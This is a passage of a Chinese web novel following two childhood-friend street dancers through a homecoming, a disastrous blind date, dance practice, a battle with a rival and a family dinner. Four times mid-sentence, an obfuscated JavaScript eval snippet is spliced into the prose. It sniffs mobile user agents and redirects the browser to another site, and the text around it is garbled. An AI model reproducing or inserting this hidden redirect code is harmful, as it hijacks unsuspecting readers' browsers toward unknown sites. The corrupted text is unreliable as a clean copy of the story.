顾以默闻言歪头思考着，想起一个说一个：“俯卧撑、蛙跳、蹲起，以前我还跑步，现在不跑了，太累。然后.......好像没了，固定的就这三样，然后偶尔会做平板支撑。” 见木南苏一直点头，顾以默笑道：“别光点头，记下来，这是每天要做的。” 木南苏再次点头。 顾以默无奈，看出木南苏是故意的也没和他计较，感受到手机的震动将耳机摘下还给他，站起身到一旁安静处接电话。 木南苏将耳机拿起放在手心，轻轻握住心不在焉地看着回放，直到耳机里传来手机铃声才回过神，将蓝牙断开接通电话：“喂？妈，我们马上快到了。” “你们？”木妈妈奇怪地问道，“是以默也和你一起回来了吗？” 木南苏看向顾以默那边，轻轻嗯了一声。 “我们一起回家。” 历经四个小时高铁到站，顾以默挂断电话前去帮忙拿行李，等走出人群转头对木南苏说：“一会我们先回家放行李，然后你陪我去个地方怎么样？” “你一会帮我解决个困难我就陪你去。”木南苏憋着笑讨价还价，“不然我去不了。” 顾以默警惕地看他，点头应下。 木南苏看向他，停下脚步奇怪地问道：“你怎么不问我什么事？” “我为什么要问？”顾以默也停下脚步，回头看他说，“我难道还担心你在我土生土长的环境下，把我卖了不成？” 闻言木南苏拉着行李箱来到他面前，抬头朝他一笑便向前继续走。 顾以默突然觉得这候车室的空调温度有些低，大热天自己居然起了一身鸡皮疙瘩.....赶紧跟上木南苏的脚步，来到他旁边并肩同行。 刚出高铁站，顾以默就看见一位穿着时尚，身材苗条的女士朝他们挥手，他对着那个方向点头，拦住准备往一旁走的木南苏，“那边，走了。” 木南苏懵懵地点头，跟着顾以默一起走去。 “以默啊，四年没见又变帅了！”木妈妈一见到顾以默拉着他就稀罕着，“谈对象没有啊？” 顾以默被问得有些猝不及防，对木妈妈说道：“还没呢，这不是等着干妈介绍吗。”说完连忙阻拦她拿行李箱的手，示意让他来。 “呀！那太好了！”木妈妈听见这句话立马激动地拍手，“正好我一会给苏苏约了几个相亲对象，你也跟着一起见见！” 顾以默闻言放行李箱的手差点被压在后备箱，他连忙反应过来木南苏刚才说的困难是什么，转头看向木南苏确认。 见木南苏憋着笑点头，顾以默似乎明白他在候车室的那个笑是什么意思...... 他从没见过如此居心叵测之人！ 把自己和木南苏的行李箱放好后，顾以默走到车旁，刚想和木妈妈说不用麻烦，他却听见一声熟悉的清嗓。 顾以默立马心道完蛋，他转身向副驾看去，在一位优雅的女士后秒怂地打招呼：“妈，您怎么来了？这大热天的别再给您冻坏了。” “不错，还记得自己有个妈。”顾妈妈被儿子这一声妈喊得委屈，掉着眼泪谴责顾以默，“我还以为你得了几年世界冠军，就不认识我这个妈了！” 顾以默摇着头笑出声，无奈地安慰老妈说：“行行行，我和木南苏去相亲，我去行了吧。” 话音落下，刚刚哭得梨花带雨的顾妈妈见目标达成，立刻止住眼泪将身子坐正，不失气质地掏出手机玩着消消乐。 顾以默敢怨不敢言，只好把气转移到在一旁看戏的木南苏身上，满脸哀怨地看着他笑得合不拢嘴。 木南苏见顾以默在瞪自己，嘚瑟的同时故作无辜朝他眨眨眼，走到副驾门前对顾妈妈乖巧地喊了声干妈，将后座的车门打开坐了进去。 “你这是准备睡马路吗？”木南苏发自内心地对顾以默问道，见他不情不愿抱着背包坐到自己旁边，木南苏浅浅勾唇。 一路上顾以默难得沉默，他看着窗外发现这里的景色发生了巨大的变化。 他印象里刚刚开工的工地早已建成了高楼，以往最繁华的商场早已人去镂空....... 这座他生活了十几年的城市，就连一草一木，都让他觉得有些陌生........ 不过好在车辆行驶的过程中，顾以默还是看到了不少记忆里的痕迹。 他中学时期经常光顾的饮品店依旧排着长队，小学最喜欢去的小卖铺门口仍然放着稀奇古怪的玩具，还有这条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848834|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他走了十几年的路........ 一切仿佛都在变，却又仿佛没有变。 木南苏全程都在悄悄看着顾以默，见他一路上一言未发地看着窗外，便能懂得他现在的情绪，将言语上的安慰藏于心底，静静陪在他身边。 不知过了多久，木妈妈将车停进小区的地下车库后，一行人乘坐电梯回到家门口。 顾以默时隔四年再次进家门，看到这熟悉且没有什么变化的环境，压抑一路的情绪涌上心头，瞬间鼻头一酸。 他连忙抬起头，眼泪却比动作快一步落下，趁着没人注意赶紧伸手擦掉。 这四年，顾以默因为舞社一到寒暑假都会有集训营，再加上比赛和教课，他几乎抽不出空闲回家。 再加上自己的腰伤和精神状态不好等各种原因，顾以默不愿意让爸妈担心，就连过年都是在外面过的....... “往里走，堵门口干什么？”老妈催促的声音打断了他的思绪。 顾以默莞尔回神，换了拖鞋拉着行李箱走到自己的房间，里面的场景让他再次愣神。 贴着深蓝色壁纸的房间看着十分整洁，根本不像四年没住人的样子，床上的深色床单顾以默更是能看出这是新换上的，空气中甚至还弥漫着洗衣液的淡淡清香。 书架上放着的奖杯和证书依旧摆放整齐，顾以默向前走去，这才发现它们没有一丝落灰的痕迹，卡其色的书桌更是没有一丝杂乱。 他附身看向桌面上的相框，各个年龄的他高举证书，摆放的顺序莫名形成了一个完整的成长链。 而相框旁边，他和木南苏儿时的情景也被相机记录，一张张手掌大小的小照片被贴在里墙，哭闹玩笑的合照看上去直叫人怀念从前。 顾以默凑近查看，看到木南苏那张嘴大哭的模样不禁笑笑，顺势拉开书桌前椅子坐在上上，伸手打开写字灯，熟悉的光亮突然让他产生了一种错觉。 好像自己只是刚从离家不远的学校回家而已，并没有离开多长时间...... 他此刻也突然明白，这房间每天都有人打扫着。 真是...... 顾以默勾唇笑着，起身将行李箱放在墙边，坐在床上把背包里的衣物收拾一下，便去木南苏家里找他。 走到木南苏家门口伸手敲门，顾以默对前来开门的木妈妈笑着说：“干妈，我能进来找木南苏吗？” “你这个问题从小问到大，我什么时候拒绝过你？来，进来。”木妈妈笑着招呼顾以默让他进门。 顾以默轻车熟路地来到木南苏屋子门口，对着里面大喊：“木南苏，我进来了？” “等一下！我换衣服。”里面传来木南苏急促的拒绝和物品碰撞的声音。 换衣服需要那么大的动静？ 顾以默在心里奇怪，收回准备推门的手，走到一旁抱臂倚着墙等木南苏的允许。 大约过了两三分钟，屋里乒乒乓乓的声音逐渐消失，顾以默面前的门缓缓打开，木南苏满头汗地出现在他面前。 14. 相亲 顾以默见状不理解，开口问道：“你刚才在里面干什么？怎么满头大汗的？” “没事，进来坐吧。”木南苏对他敷衍道，侧过身给顾以默让路。 等木南苏关上门，顾以默坐到他床上坏笑着开口：“你刚才......不会是在看什么不该看的东西，怕被我发现，所以慌慌张张地毁灭证据吧？” “你以为谁都跟你似的，没个正型？”木南苏见他这副猥琐样，拿起身后的抱枕扔他脸上，“我要是毁灭证据，第一个把你杀人灭口！” 顾以默笑笑，四处看着，感觉木南苏的房间也没什么变化。 房间的大体布局和他的差不多，由于贴着白色墙纸，所以这间房间比他房间明亮。墙上规规矩矩贴满了“三好学生”、“优秀班干部”、“模范学生”之类的奖状。 是木南苏的荣誉，更是顾以默的噩梦。 回忆起某些不光彩的童年回忆，顾以默轻打寒颤移开目光，看向别处。 将房间环视一圈后他发现了不对，木南苏跳了四年的街舞，房间里不可能一点变化都没有，特别是这奖状墙。 他满脸困惑地转头看向木南苏，“你世界赛之前没参加过比赛吗？怎么一个关于街舞比赛的奖都没有？以你的水平不应该是这样。” “有没有一种可能，我参加的比赛没有奖杯和证书？”木南苏无语地看他一眼，拿起手机站起身，“走吧，我妈把地址发给我了。” 顾以默点头，他也参加过不少没有奖的比赛，所以对木南苏的这句话并没有觉得不妥。 他站起身走出卧室，对在客厅看电视的木妈妈打着招呼：“干妈，我们就先走了。” 木妈妈看向他们笑着应好继续转回头看电视，回想起什么连忙将头扭回去，惊讶地打探他们，“你们两个就穿着这一身去相亲吗？不知道的还以为你们去约架！” 顾以默闻言低头看向自己的衣服，纯白色宽松短袖，绿色宽松工装裤，黑白色板鞋，这已经是他非常低调的一套穿搭....... 他再转头看向木南苏，打扮除了衣服颜色以外和自己差不多，但也不像是去打架的样子....... 刚要和木妈妈解释，顾以默就被木南苏推走，还没来得及和她说再见门就被木南苏关上，顾以默好笑地看他这副样子，忍不住打趣：“这是叛逆期没过吗？二十二岁的叛逆少年。” 木南苏冷哼，“你要想听念叨，我现在把门给你打开？”说着拿出钥匙准备开门。 顾以默见他来真的，一把夺过他手里的钥匙握在自己手里，嘚瑟地弯下腰和他平视，缓缓凑近笑道：“反应能力不行啊弟弟，得多加练习。” 木南苏乖巧地笑着应好，下一秒就抬脚不轻不重地踢向顾以默的小腿。 “嘶——木南苏！”顾以默在走廊里压着声音，对木南苏高喊。 木南苏满脸风轻云淡按下电梯，片刻后电梯到达楼层缓缓开门，他瞥顾以默一眼走了进去，手按着键大声催促。 顾以默闻声连忙跑去，到门口时电梯正好开始往下走，他这才想到木南苏按的是关门键...... 幼稚！多大了还玩这招！ 顾以默心中吐槽，坐着旁边的电梯下楼。 下楼之后看见木南苏在等他，心里暗爽地走到木南苏身边，“走吧弟弟，跑那么快结果不还是得等我。” 木南苏冷哼，没有接他的话。 来到小区门口，他们打车来到一家咖啡厅，顾以默一进门就发现一个西装革履的男生，小声问木南苏是不是那个人。 木南苏不情不愿地点头，往前走几步却被顾以默拉住手腕，他微微一怔回头看去。 顾以默低头挑眉，小声对木南苏笑着说：“你要是实在不愿意去，我就带你走，干妈那边我替你解释。” “没事，我妈你还不了解吗？躲不掉的，给我说好几次了。”木南苏叹气，无奈地往前走去。 顾以默摇头，也跟着木南苏一起走到那个男生面前坐下，抱臂靠着椅背打探他，最后得出了一个结论。 干妈的眼光真独特...... 那人一见到木南苏就盯着他的脸看，过了一会更是直接勾着唇咽了下口水，模样别提多恶心。 顾以默实在看不下去，木南苏不喜欢自己被别人盯着看，这一点他是清楚的。 他尽可能让自己的语气和用词礼貌，率先开口：“既然是来相亲的，不如先做个自我介绍？” 高个子男生闻言看了顾以默一眼，紧皱眉头一脸不理解地问他：“这位是谁，怎么还穿得这么混？” “和你有关系吗？”木南苏抢在顾以默开口之前不耐烦地说道，“爱相相，不相滚。” 顾以默闻言挑眉看向对面那人，如自己所料男生被这句话惊得目瞪口呆，好像在他眼里，木南苏的性格就是和看上去一样乖乖巧巧，不会发脾气的小男生。 被木南苏怼了一句，男生为了给他留个好影响，老老实实进入流程做了自我介绍。 顾以默一旁听得是满脸疑惑，不知道是不是他的错觉，对面那人在提到自己是名校毕业的时候，好像鄙夷地看了他们一眼....... 果然下一秒那人就开口对木南苏说：“我妈和我说我们是校友，我压根就不信，不过没关系，虚荣心说说假话很正常。和我在一起之后呢，街舞也别跳了，和一群没什么文化的人混在一起拉低格调.......” “你先等会。”顾以默实在听不下去打断他的发言，站起身观察一番，发现此时咖啡厅没什么人便双手撑桌冷着语气怼道，“第一，提个建议，去精神病院好好治疗一下，别耽误了。” “第二！”顾以默没有给他开口的机会，继续说道，“木南苏刚毕业就参加世界比赛拿到了世界冠军，你呢？” 那人被顾以默的气场吓到，结结巴巴地企图挽尊，“那那那那又怎么样？” 顾以默见他这模样懒得搭理，站直身体居高临下地蔑视着他，喝了口水将杯子轻放在桌子上，伸手拍了一下仰着脸看自己的木南苏，示意让他先走。 木南苏被顾以默的爆发震撼到，不敢有意见，缓缓站起身皱眉走到不远处，并没有离开。 见那人想起身去追木南苏，本准备走的顾以默调转脚步挡在他面前，冷着脸继续说：“第三你听好了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848835|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是他哥！别给木南苏的母校丢人，回去该怎么说我希望你有点自知之明！”说完转身就走。 来到店门口，顾以默来到收银处为刚才的打扰说了抱歉，得到店员的谅解他笑着道谢，和木南苏一起离开。 “你要是不知道和干妈怎么说，我可以替你解释。”顾以默见木南苏一路上只顾着低头走路，以为他心情不好，便开口安慰。 木南苏缓缓停下脚步偏头看他，轻轻笑了一下，“谢谢。” “客气什么，我从小到大这么护你护得还少吗？”顾以默回笑道，突然想起似乎还有其他人选，“你还见其他的吗？” 木南苏闻言连忙摇头，他估计其他几个也不会好到哪去......看向顾以默开口问道：“你之前说要带我去哪？” 顾以默勾唇卖关子，“到了你就知道了。”说着便往对面的商场走去。 来到商场旁边，顾以默带着木南苏到一家街舞培训班门口，刚进去就引起了一小波轰动。 “你看你看！门口那两个男生好像顾以默和木南苏！” “真的啊！！！我天我见到我偶像了！！！” “我也是！啊啊啊啊！他们也太帅了！” “我去！” “hey，bro！好久不见！”一个平头男生对顾以默打着招呼。 顾以默笑笑，伸出手锤了他的肩膀一下，和他寒暄：“最近怎么样？” “肯定不如你啊大冠军。”普通男生笑着和他开玩笑，在看到木南苏后满脸吃惊，“这不是世界赛赢你的那个冠军吗？前男友！” 顾以默叫他别乱说，对着旁边一脸懵的木南苏开口介绍：“这是付宵凡的师兄，李尚，尚子。” “你好，木南苏。”木南苏对着面前的男生礼貌性地点头，做了自我介绍。 李尚也对他点头憨憨一笑，想起什么便看向顾以默说：“你在电话里说你要用舞蹈室对吗？” “对。”顾以默和他确认，“毕竟休假也不能不练舞，但没有舞蹈室，所以就想着找你帮个忙。” 李尚笑着叹气，无奈地开口：“你还真是......行，借你用，但是得错开上课时间。” 顾以默看向木南苏，询问他的意见，“你往后的几天要一起练舞吗？” “都行，你练我就跟着一起。”木南苏没有丝毫考虑，直接给顾以默答复。 顾以默低头轻笑一声，转过头对李尚说；“放心，不白用你的，我晚上可以帮忙带几节课，怎么样？但我们老大那边你自己谈。” 李尚连忙摆手表示不用，让顾以默放心，安排好了会和他联系。 目的达成，顾以默又随意寒暄了几句，便和木南苏一起离开。 走到小区，顾以默正准备进楼栋，却感受到有一股力从后方轻轻拉着自己。 他奇怪地顺势偏头看去，木南苏的手正拽着他的衣角，表情不太自然地低着头，不知道在想什么。 顾以默觉得困惑，开口问道：“怎么了？有事？” 木南苏摇头，随后顿了一下又点头，最终缓缓抬头和顾以默对视。 “在楼下说会话可以吗？” 15. 牛粪与鲜花 夜晚十点，小区微亮的路灯在地上照出一高一矮的影子，正在走向一旁的长椅坐下。 即使夏风不像秋风那般清凉，春风那样舒适，顾以默在此刻还是感受到了四年来前所未有的轻松。 他懒懒地向后靠去松了口气，偏头看向欲言又止的木南苏轻快地开口：“要说什么，不会是要和我表白吧？” “滚！电视剧看多了吧你！”木南苏伸脚踢了顾以默，斜眼看他一眼说，“要不我配合你一下？给你来个表白怎么样，以默哥哥。” 顾以默连忙笑着摇头表示消受不起，随后转头目视前方看向远处的圆月，伸直双腿享受着难得属于自己的清闲。 “顾以默。”木南苏收起手机打破沉寂，看向顾以默说道，“干妈让我问你，你的理想型是什么，还是你告诉我的那些吗？” 被这一句没头没尾的话给呛到，顾以默开始猛然咳嗽起来，眼泪随即破眶而出，他抬手和木南苏挥手示意没事，等自己能说话立刻和木南苏确认了一次。 见他点头，顾以默觉得头疼地对他说：“我其实现在没什么理想型，因为我现在从来没想过这件事，我只想把你夺走的那个世界冠军给夺回来。” 木南苏闻言朝他轻轻一笑，对他放狠话：“那得看你有没有这个本事了。”说完便起身往家的方向走去。 这个人真是！顾以默被木南苏的奇怪搞得云里雾里。但不知道是不是他的错觉，木南苏的笑看上去......好像有些勉强...... 只当木南苏是累了，顾以默没有揭穿，跟上他的脚步一起上楼。 顾以默回到家中，在门口换好鞋转头对上一张“猴子脸”心脏猛一抽，险些两个字的脏话脱口而出，看到熟悉的紫色睡衣才松了口气，心有余悸说道：“妈！你儿子刚才要过去了你后悔都来不及！” 顾妈妈斜他一眼，语气平淡对他说：“你今天和苏苏相亲，结果怎么样？” 顾以默哼笑一声越过她身边，从冰箱里拿出一瓶水喝了一口和她复述刚才发生的事情。 顾妈妈听完立马拉着儿子来到木南苏家敲门，门刚开一个缝就和入室抢劫似的拉着顾以默就冲了进去。 “这......什么情况？”被这一幕吓呆了的木南苏对正在揉手腕的顾以默问道，“你们家着火了？” 顾以默被他这懵懵的样子逗笑，放下手腕说：“你干妈头上着火了。”说完他预判到了什么，逃避似的朝着木南苏房间走去，心里默念着自己是空气。 没想到刚走两步却被老妈叫住，顾以默无奈之下只好接受现实，走到两位妈妈中间坐下听着她们念叨自己。 木南苏见状松了口气，悄悄朝着自己的房间看了一眼，便走到顾以默对面坐下。 “你说你们找对象怎么这么难？”贴着豹子面膜的木妈妈开口抱怨，“还都不愿意找，到时候孤独终老有你们好受的。” 顾以默不想听说教，满脸无奈地抬头看向对面的木南苏。 见他正在低头好像有什么心事，抽了张纸揉成纸团礽向他，下一秒就被一声怒吼险些震聋。 顾妈妈将面膜取下，对顾以默吼道：“顾以默！你能不能好好跟苏苏学学！从小你就坐不住！” “学学学学，学还不行吗？”顾以默懒散地敷衍道，“刚敷完面膜就发火。小心长皱纹.......啊嘶——妈疼疼疼！错了错了！” 顾妈妈恨铁不成钢，又在他胳膊上拧了一下才算解气，继续和闺蜜讨论他们的对象问题。 凌晨一点，顾以默打着哈欠，看向两位妈妈聊八卦聊得正上头，不得不佩服女人对于八卦的战斗力和执着，还说到了他和木南苏的八卦。 不过这个绯闻被他的老妈当场辟谣。 还把他比作了牛粪，把木南苏比作了鲜花....... 顾以默哼笑，有气无力地瞪了一眼作为当事人之一还偷笑的木南苏，实在支撑不住困意半睁着眼往木南苏的房间走去，伸手开门倒床就睡。 起身准备拦他的木南苏走进屋里，见他这副样子无奈地勾了勾唇。 木南苏转身关上门，借着窗外的光亮轻手轻脚地拿起箱子，将老妈重新摆在书架的奖杯和证书再次悄悄收起，蹲下身子趴在床边看着顾以默的睡颜。 陷入熟睡的顾以默没有往日的距离感，反倒让人看了很想捏他的脸。月光刚好打在他的挺立的鼻尖上，让木南苏很想伸出手指去点一下。 余光瞥见从门缝里传来的黑影，木南苏慌忙收回即将触碰到他鼻子的手，站起身拿过桌子上的遥控器将空调打开，便开门走了出去。 翌日十点，顾以默睡到自然醒，下意识吸了吸鼻子，闻到淡淡的薰衣草洗衣液味道后觉得有些舒适，伸着懒腰意识回神，才想起他好像睡了木南苏的床。 连忙坐起环顾四周，他没有发现木南苏的身影，拿着手机开门朝外走去，却在沙发上看到了还在睡着的木南苏。 顾以默打着哈欠伸手挠头，走上前将掉在地上的夏凉被捡起，轻轻给他盖上，手机却不合时宜地响了一声。 “早。不好意思，睡你的床还把你吵醒了。”顾以默见木南苏已经悠悠转醒，带着十足的歉意对他笑道。 木南苏伸手揉眼睛，回了句早。 两人各自在各家的卫生间洗漱完后，顾以默来到自己家的厨房对刚进门的木南苏问：“你要吃什么？午饭吃完我们可以去李尚那里练舞。今天两位女士上班，先凑合吃吧。” “高中时候你做的鸡蛋面，你现在还会做吗？”木南苏倚着门框报饭。 顾以默点头，有些惊讶，他没想到木南苏居然还惦记这碗面。 木南苏笑笑，对着顾以默双手托腮装乖，“以默哥哥，我想吃这个。” “好好说话！”顾以默被这个称呼喊得起一身鸡皮疙瘩，实在受不了把木南苏赶到客厅，回忆着鸡蛋面的做法。 其实他做的鸡蛋面没什么特别之处，只不过高中有一次做鸡蛋面不小心错把糖当盐放到了锅里，没想到却对上木南苏的口味。 从此以后，只要他们爸妈不在家，顾以默做饭的时候木南苏一定会要这碗面。 顾以默将面做好端上餐桌，招呼着偷练基本功的木南苏吃饭。 等他走近看到他额头上薄薄一层汗，顾以默突然理解为什么木南苏仅用四年时间就可以在世界赛上和自己对决....... “怎么样，味道还是一样的吗？”顾以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848836|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默在他对面弯腰问他。 木南苏顾不上和他说话，咬着面条点头继续吃着。 见木南苏吃得停不下来，顾以默就知道这次没做砸，他满意地转身回到厨房，做自己的那份饭。 两人不紧不慢地吃完饭，坐车来到舞蹈室准备练舞。 顾以默拿出手机，调出自己battle的回放，将动作扒下来重新跳了一遍，发现有不少动作还有待改进，甚至有的动作更是累赘。 如果他是裁判，选手出现这个情况他绝对会在心里扣分。 顾以默按例自罚三十个俯卧撑后站起身，偏头看向在另一间教室练舞的木南苏，正好看见他在尝试breaking的动作直接跪地上的场景，自己似乎还听见了膝盖撞击地板的声音....... 和其他舞种相比，其实popping是最适合木南苏的，别的舞种木南苏学起来会有些困难。在隐约听到第三声响，顾以默再也听不下去，将音乐和回放暂停去扶木南苏。 让木南苏坐在地上，顾以默起身将音乐暂停，伸手刚要触碰膝盖却被他躲开。 顾以默皱眉瞪他，冷着声音凶他，“别动。” 木南苏闻言紧攥衣角，像个做错事的孩子一样，湿着头发低下头不敢再动，听到顾以默的声音缓缓抬头，“你再说一遍，我刚才没听见......” “我问你为什么突然要跳breaking。”顾以默伸手来回观察他发红的膝盖，让他曲腿活动一下发现没什么大碍，松了口气在他旁边坐下，“breaking对你来说有点难，popping就很适合你。” 木南苏抿嘴摇头，“我就是好奇......” “好奇也不能和你的膝盖过不去。”顾以默无语地看着他，拿过一旁的毛巾扣他头上站起身，“别折磨自己听见没？真要想学就拜我为师，看在十几年发小的份上，免你一半学费。” 木南苏闻言摘掉自己头上的毛巾朝他扔去，却被顾以默灵活躲过。 “不许再虐自己了，我在隔壁能看见你！” 待顾以默走回舞蹈室，木南苏看着自己的膝盖，难掩笑意。 一下午过去，顾以默将他上场比赛的全部动作都修改了一遍，顺势打了视频电话督促沈一川练舞。 “胳膊抬高，别动！动一下加十分钟！” “我让你给我发视频你倒挺机智，把衣服颜色给调一下！玩呢？走秀呢？一天十件衣服？” “嘴里嘀咕什么呢！” 视频里的沈一川连忙抿嘴摇头，满脸哀怨地伸直胳膊扎马步。 盯着沈一川练完体能和基本功，顾以默给他布置了编舞作业，“今天晚上九点之前发给我，如果我没收到，你看我回去怎么治你！”说完顾以默就挂断电话，半躺在地上闭眼休息。 闭目养神的过程中，他听到一阵脚步声，眼睛都没睁开张口就说：“怎么着？想拜我为师吗？” “顾以默，我们的恩怨是不是应该做个了结？” 一个带着明显怒气的声音从身旁传来，顾以默一听不是木南苏，缓缓睁开眼睛满脸不屑地坐起身，皱眉歪头打探对方，没想起来这人是谁便懒懒开口问道。 “你谁？” 16. 对决 见那人拧眉，顾以默不以为然站起身，偏头对他身后的李尚笑道：“你徒弟脾气一直这么火爆吗？这要是沈一川，我早就训他了，对前辈这么不尊重呢。” 李尚无奈地摇头，抱臂走到他身旁打趣：“你知道是我徒弟，比赛下手还这么狠？这不，来找你寻仇了，我拦都拦不住。” “啧，刚想起来。”顾以默故作头疼地道歉，转头对着一旁的男生说，“DK，你现在找我算账，有没有想过万一又输了，那我岂不是成欺负弱小了？” 话音刚落，木南苏双手插兜缓缓走进教室，一言不发站到顾以默身旁，不屑地盯着DK。 三人敌对着，教室里的气氛逐渐压抑，仿佛大战一触即发，前来上课的学生见状纷纷不敢往里进，只敢小声在外面议论着。 李尚这才发现他们似乎要玩真的，连忙开口缓和：“老顾，他不懂事，你别和他计较。” “他不懂事，那就让他懂事。”顾以默眼神从没离开过DK，“别耽误你师父时间，1v1battle一回合，就比你擅长的hiphop，一局定胜负怎么样？你师父做裁判。” DK点头，走到木南苏面前对他说：“我最不服的，就是你。花瓶就应该好好摆着，四处招摇是觉得自己特别有魅力吗？” “祝你好运。”木南苏觉得这人幼稚，冷着脸没有理会DK的挑衅。 转身往一边准备观战，在心里觉得沈一川比他可爱多了。 顾以默说完规则就前去开音响，听到这句话之前本来只是想给DK一个教训，但现在...... beat的声音响起，顾以默伸手让他先来。 看着DK的动作，顾以默随意地在他面前走动着，脑海里想着动作。 见DK有收尾的迹象，顾以默预判了他的动作，逗他似的镜面学着他。 DK抬左脚往右动，顾以默抬右脚往左动。 DK手从右往左晃，顾以默的手从左往右晃。 围观的学生被这一幕吓傻了，纷纷好奇顾以默是怎么知道DK的动作往什么地方迈哪只脚....... 等DK的回合结束，顾以默借着他最后一个向后甩手的动作凑近DK，朝他曲腿跳了一下，落地的一瞬间快速将腿伸开，脚上交叉跳动的动作刚好卡上节拍。 相较于刚才DK回合学生反应平淡，顾以默这一个动作让全场人欢呼，连李尚都没忍住跟着一起起哄。 顾以默勾唇歪头瞟他一眼，借着动作向后撤保持距离，开始自己的表演。 木南苏在旁观战，看到顾以默开场那一跳导致他与DK的距离接近，眉头缓缓皱起。 不同于其他人的激动，他脸上的表情写满了不爽，直到顾以默比完赛都没缓解。 “怎么样怎么样？我刚才那一跳帅不帅！”顾以默跑到木南苏面前炫耀，说完才发现他脸色不好，突发奇想伸手揉了揉他半湿半干的头发问，“怎么了？” 木南苏骂了他一句滚，拍开他的手闷闷不乐地走出门。 顾以默无奈莞尔，看来木南苏现在连头都不让摸了，小时候明明给根棒棒糖就随便摸的....... 一会买个棒棒糖试试。 顾以默摸着下巴这样想着，余光看见DK朝这边走来，收起笑对他问：“怎么样？服吗？” DK低着头，身体两侧的手紧紧握拳依旧觉得不服，没有回答顾以默的话。 顾以默懒得理他，绕过他对李尚说：“下场比赛让他给木南苏道歉，否则你知道以我的脾气我会干什么。” 说完拿起门口的包和手机，从学生主动让的路走出培训班。 在楼下见到木南苏，顾以默本想吓他，走到他旁边才发现木南苏在吃棉花糖，突发奇想地走上前在他背后拍了一下。 趁着木南苏扭头，顾以默借机迅速从反方向来到他身前低头咬了一口棉花糖，刚准备再咬一口，却意外和木南苏四目相对。 白色的棉花糖挡在他们中间，顾以默见木南苏瞪大眼睛惊恐的样子觉得可爱，下意识去摸他的头发，这次却没有反抗。 “还真是和以前一样啊。”顾以默觉得好玩赶紧趁机多摸几下，对他轻笑说道，“给你一颗糖头发随便摸。” 半湿半干的头发并不影响顾以默的玩耍，甚至把木南苏脖子的毛巾取下，搭在他头上“替他擦汗”。 木南苏红着耳朵吃棉花糖，任由顾以默的手在自己头上随意动作。 等手里的棉花糖吃到最后一口，挑眉抬头看向顾以默，“玩够了吗？” 顾以默摇头笑道：“我要是给你一根棒棒糖，你是不是可以再让我摸五分钟的头？” “我要是给你两根，你是不是能让我揍你五分钟！”木南苏拍开他的手，拿掉毛巾摇晃着头整理头发，瞪了顾以默一眼向前走去。 顾以默无奈笑出声，快步向前跟上木南苏的步伐。 刚到家门口，木南苏爸妈打闹着从家门走出，木妈妈看见他们便招呼着一起进顾以默家。 顾以默和木南苏心照不宣地相视而笑，一起跟着走了进去。 两家人坐在一张桌子上开着空调吃火锅，顾以默开了一罐啤酒看向木南苏，问他要不要喝。 见木南苏有点犹豫，顾以默被他这反应逗笑，“不好意思，忘了你一杯醉，在大学你没练练酒量？” “练什么酒量！你以为苏苏和你一样，天天没个正型！”顾妈妈用筷子敲了他的头，警告顾以默别带坏木南苏。 顾以默头一缩，准备把木南苏面前的啤酒拿走的手却抓了个空。 他奇怪看去，木南苏拿着喝了一口瞬间失去表情管理，皱着眉头撇嘴怀疑人生地打探着手里的啤酒。 顾以默被这一幕逗笑，想起木南苏之前喝醉酒的场景，站起身从冰箱里拿出一罐桃汁，走到木南苏身后，把他手里的啤酒抢过来换成了桃汁，“弟弟，你还是喝这个吧。” 他说完喝了一口手里的啤酒，坐到木南苏旁边。 木南苏瞪大眼睛呆呆看着顾以默，见他偏头看向自己连忙将头转回去，打开桃汁喝了一口。 吃完火锅后，爸妈们坐在桌子上聊天，木南苏拿着桃汁来到沙发处，坐到正在喝酒的顾以默旁边，缓缓开口：“我们明天还去练舞吗？” “去。”顾以默将啤酒放在桌子上对木南苏说，“你今天.......没受影响吧？” 木南苏摇头，看向餐桌那边，尽量隐藏住自己语气里的委屈，“没有，我习惯了.......” 顾以默不自觉拧眉，轻叹口气没有揭穿木南苏，他有没有习惯这些话自己不清楚， 但他知道，木南苏只要觉得委屈就会往别处看这个习惯没有变。 明明是靠实力得来的荣誉，偏偏要被人说是花瓶，放谁心里都会难受。 顾以默想起他们上小学的时候，木南苏成绩好这件事全校皆知。 可即便如此，还是会有几个嘴欠的人说什么老师是看他长得乖，所以每次评选都有他。 暗自叹了口气，顾以默掏出手机给卢择发信息。 【顾以默】：师兄，我给你发个位置，你帮我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 